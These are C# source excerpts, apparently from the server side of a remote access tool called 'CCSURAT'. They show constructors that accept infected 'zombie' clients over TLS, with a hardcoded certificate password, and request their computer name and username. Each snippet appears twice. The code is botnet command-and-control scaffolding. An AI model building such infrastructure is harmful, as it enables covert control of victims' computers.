public Zombie(ServerMainForm form, TcpClient client) { this.mainForm = form; this.zombieListView = mainForm.zombieListView; this.client = client; this.netStream = client.GetStream(); sslStream = new SslStream(netStream); if (sslSecured) { // Build the server cert from resources Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("CCSURAT_Server.Resources.Server.pfx"); byte[] bytes = new byte[stream.Length]; stream.Read(bytes, 0, bytes.Length); serverCertificate = new X509Certificate2(bytes, "cs492"); sslStream.AuthenticateAsServer(serverCertificate, false, SslProtocols.Tls, false); // Create stream writer/reader objects, could be used for easier read/write sw = new StreamWriter(sslStream); sr = new StreamReader(sslStream); } this.active = true; // initialize monitor list monitors = new List<ControlClasses.Monitor>(); // initialize ping check objects pingSender = new Ping(); // request basic PC info (computer name, username, cpu, etc...) this.SendData("[[START]][[/START]]"); Console.Beep(); }
public Zombie(ServerMainForm form, TcpClient client) { this.mainForm = form; this.zombieListView = mainForm.zombieListView; this.client = client; this.netStream = client.GetStream(); sslStream = new SslStream(netStream); if (sslSecured) { // Build the server cert from resources Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("CCSURAT_Server.Resources.Server.pfx"); byte[] bytes = new byte[stream.Length]; stream.Read(bytes, 0, bytes.Length); serverCertificate = new X509Certificate2(bytes, "cs492"); sslStream.AuthenticateAsServer(serverCertificate, false, SslProtocols.Tls, false); // Create stream writer/reader objects, could be used for easier read/write sw = new StreamWriter(sslStream); sr = new StreamReader(sslStream); } this.active = true; // initialize monitor list monitors = new List <ControlClasses.Monitor>(); // initialize ping check objects pingSender = new Ping(); // request basic PC info (computer name, username, cpu, etc...) this.SendData("[[START]][[/START]]"); Console.Beep(); }
public Listener(ServerMainForm form, List<Zombie> zombies, int port) { this.mainForm = form; this.zombies = zombies; this.port = port; listener = new TcpListener(IPAddress.Any, port); isListening = true; Log("Listener initialized."); }
public Listener(ServerMainForm form, List <Zombie> zombies, int port) { this.mainForm = form; this.zombies = zombies; this.port = port; listener = new TcpListener(IPAddress.Any, port); isListening = true; Log("Listener initialized."); }